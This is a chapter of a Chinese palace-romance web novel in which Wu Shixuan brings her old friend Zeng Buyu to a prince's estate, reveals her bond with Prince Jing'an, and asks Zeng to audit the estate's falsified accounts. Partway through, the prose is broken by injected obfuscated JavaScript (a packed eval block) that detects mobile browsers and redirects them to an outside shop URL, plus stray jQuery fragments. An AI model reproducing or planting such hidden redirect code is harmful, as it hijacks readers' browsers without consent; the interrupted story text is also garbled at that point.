白檀与都尉交涉完,返身到伍拾宣身侧道:“姑娘,这些人带去庄子那边?都尉说可以借我们马,之后他们的兵士会把马自己带回来。”
伍拾宣点头:“可,留两个人等着她们收拾行囊,之后直接带去庄子那边,我有事情马上要安排下去。有地方住吧?”
白檀应道:“有。可暂住侧殿,那里稍作收拾。”说着看了看营中大帐:“可比这里齐整多了,饭食也足够。”
“那就回吧。”伍拾宣向外走,转头对曾不语道:“你与我同骑,带你去吃鹿羹。”
曾不语欲言又止,听说鹿羹滋补美味,还是把要出口的话咽下去,跟着伍拾宣骑上快马,一路返回蓝玉别庄。
看着已是初冬却仍有绿意的山庄,以及一路上避让行礼的侍者侍女,到了山麓暖阁前厅中,布置精巧,陈设华贵,熏香袅袅,甚至有侍女忙着为伍拾宣解大氅,换马靴,递手炉,斟热茶,终是开口道:“把我带到这里做什么?”
“吃鹿羹呀。”
曾不语打量着伍拾宣的罗裙绣鞋,乌发珠钗,皓腕玉饰,张口道:“我不信。”
伍拾宣对身旁侍女嘱咐了几句,走到曾不语身侧,挽着曾不语的胳膊,玩笑道:“怎么,担心我害你么?”
曾不语低头看着搭在自己灰黑硬皱外袄上鲜亮织锦长袖,还有毫不见外倚靠拉扯自己的伍拾宣,只得顺着力道坐在了桌旁,喝着伍拾宣硬塞过来的茶水,不冷不热道:“你真不怕我把你的衣裙蹭脏。”
伍拾宣斜斜地歪坐在软椅上:“没关系,我的衣裙很多。”
曾不语坐地板板正正地喝着茶水,吃了几口被塞过来的牛乳糖,太甜了,终是忍不住伸手拉过伍拾宣的双手正反查看,看完又探了探腰身与肩背,甚至抬手抚了抚伍拾宣的面颊,直摇头:“你说,你把自己养这么瘦小白净,连手上的茧都脱了,就图穿衣裙好看么?”
伍拾宣摇了摇手,仍带着些笑意道:“我后来练内家功夫了,你若不信,也可以与我过两手试试。”
“呵...内家功法...”曾不语听着直摇头:“不过是逞凶斗狠那一套,上不了武场的。若披甲持刀,就你现在的身板,半个时辰都扛不下来。”
“我披甲持刀做什么?”伍拾宣满不在乎道:“私有甲胄是死罪。”
曾不语的眉眼都皱在一起,似是回忆起什么不愉快的事情,忍了忍,终是没忍住:“你那么好的天资...京城后宅妇人缺你一个么?你一个武官家女儿,也贪恋荣华么?怎的就不能...”
话未出口,就听后厅传来脚步声,抬头一看,不由都愣了...
伍拾宣也听到了脚步声,自然而然地从软椅上起身,转身迎道:“王爷。”
刘玉枢抬手探了探伍拾宣的面颊:“以后冬日出门要坐马车。”扫了一眼一脸震惊的曾不语:“这是?”
“幼时旧友。”伍拾宣拉着刘玉枢,转身对曾不语道:“语姐姐,见过靖安王。”
曾不语强压下震惊,标标准准行了个军礼:“草民曾不语见过靖安王。”
刘玉枢抬了抬手:“平身吧。”又转头对伍拾宣低语道:“今日安排不完就明天再做,午后要去泡汤泉调养,知道么。”
听着伍拾宣应了下来,对曾不语点了点头,便带着人出了暖阁。
曾不语怔怔地看着刘玉枢离去的背影,一把把伍拾宣拉了个踉跄,也顾不得说伍拾宣重心不稳,压着极度震惊的声音:“是他么?!还真给你找到了?!还是个亲王?!今上的儿子?!你到底做什么了?!”
伍拾宣看着曾不语震惊的表情,分外满足地笑了:“是啊,我痴梦一场,也得偿所愿了。”
曾不语终是知道为何伍拾宣非要拉自己来见什么郎君了,尤记得几年前一次春日庆,师傅一时兴起租了艘小舫,自己一门心思想打条鲈鱼做鱼羹,便听伍拾宣非要船夫调转船头,去跟一艘大船,抬头便看到伍拾宣塞给船夫一整包钱币,顺着伍拾宣的视线,便看到一个分外俊俏的儿郎在大船上倚栏远眺。
当时船夫胆小,终是没敢跟着大船,伍拾宣那一日便魂不守舍,之后便成日打探那种船式是谁家的,之后更是搬回了京中居住,很少行走于行伍之间了。
心念纷纷,一言难尽地看着伍拾宣:“你到底是怎么找到的?”
伍拾宣斟了杯茶,靠坐在软椅上,应道:“那种制式的船只不算多,那日游湖的也不是打探不到,一家家探问也不难。”
说着叹了口气:“但是,当时我一家家找,并没有找到。”
曾不语不可思议。
伍拾宣招手让送膳食的侍女把羹汤饭食摆到桌上,挥了挥手让侍女退下,对曾不语道:“我就不给你布菜了,你自己吃。”
曾不语不知是眼前丰盛的饭食让自己震惊,还是伍拾宣的寻寻觅觅的执着让自己震惊,手上把炙肉夹入饼馕中,问道:“然后呢?”
伍拾宣坐起来,盛了一碗鹿肉羹放在曾不语身前:“喝点热的,再慢慢吃,否则不好克化。”又自己盛了碗鱼粥,慢慢道:“后来,我又结交了些京中闺秀,听她们聊曾在京中出现过的俊杰,还是没找到。”
曾不语咽下口中肉羹:“你没怀疑自己看岔了?”
伍拾宣不答,继续道:“之后我去了侍卫营一段时间,那里知道宗室的消息多。便听说,七皇子貌若谪仙。”
曾不语听着直摇头。
伍拾宣也舀了两勺粥水喝,叹气道:“当时七皇子还没有开府,你不知道,那消息多难打听,我那段时间就在平康里路边的茶铺子里认宫中出来的马车,马,车夫和侍卫。再试着跟一跟。”
曾不语把盏中肉羹一口喝尽,喟叹:“你可真是个做探子的好人才...”
“第二次见...是之后一年多了吧。”伍拾宣回忆道:“那日他出宫买了包糖炒栗子。”
曾不语吃了口饼压压惊,尽量跟着伍拾宣的所言
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784439|206198||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想了想:“所以,你才一门心思做淑女去了?”
伍拾宣垂眸,看着碗中粥水:“语姐姐,你看我只觉我是官宦家女儿,但是,京城天子脚下,从四品武官真不算什么,皇室尊贵,我不曾妄想的。”
说着歪了歪头,叹气道:“你觉得我习武有天赋,军中也不缺同有天赋的儿郎,他们如何了。血肉之躯,再如何能为,怎能比得上甲胄重刀。而甲胄重刀又如何比得上壮马厚甲马槊。语姐姐,你可知何人才能持马槊?”
语气淡淡:“我只是厌倦了,你知道的,我很惜命。”
曾不语眯眼否定:“我不信你什么都没想,也没做。”
伍拾宣不置可否,继续道:“语姐姐,我处境不好。”
“啊?”
伍拾宣放下粥盏:“我母家不堪用,我却已陷入皇室争端。实需要人手在京城立足。”
曾不语反应了一会儿,不知怎么忽然从女子思春到皇室争端了。
又吃了两口炙肉,才问道:“你到底在和谁争宠?别的先不提,后宅那些事情,我们都是粗人,不会的。”
“不是争宠...”伍拾宣简明扼要道:“我要清这个庄子的账目,这个庄子里管事庄头都在报假账目,我需要你带人把这里田亩与各个作坊的产出核对清楚。我自有办法把差出来数额收上来。之后,我还需要留人在庄子里帮我看顾。”
曾不语有些发懵。
伍拾宣继续道:“帮我看顾庄子的人,自可做庄子的佃头与管事。”说着一指暖阁之外:“此处可是宗室产业,那可是肥差。不比去为公主守院门差。”
曾不语不知怎的又从皇室争端到看顾庄子了...
伍拾宣承诺道:“语姐姐,你与我调走那些娘子们相熟。你帮我把人手理顺,之后无论你想去侍卫营,想要官阶,还是想要财物,看在师傅的面子上,我都为你周旋。”
言罢,拿起银箸,慢条斯理地开始喝粥吃肉。
曾不语透过暖阁窗户望出去,田地作坊仿佛一眼看不到头,颇为欣欣向荣。
又想起自己的年岁与身体的隐伤,如果师傅在这里,怕不是已经带着自己跪拜谢恩了。
但是,眼前人可不是省油的灯:“你只说好的了,那不好的呢?”
伍拾宣头也不抬地喝粥:“语姐姐,你自己想,我已经告诉过你了。”
曾不语皱着脸,不得不从今日刚见伍拾宣开始想,和官宦人家打交道就这点让人心烦,话说的不少,完全不知道在说什么。
着实是靖安王之事惊到自己了,伍拾宣到底想说什么完全没注意到。
反复想了一会儿,试探道:“是不是你失宠了,承诺就不做数了?”
伍拾宣抬眼看了看曾不语,点头:“对,再想深一些。”
曾不语想的都有些食不知味,叹气:“我不想想了。”
伍拾宣头也不抬道:“雪儿姐姐近来可好?能勉强站起来了么?”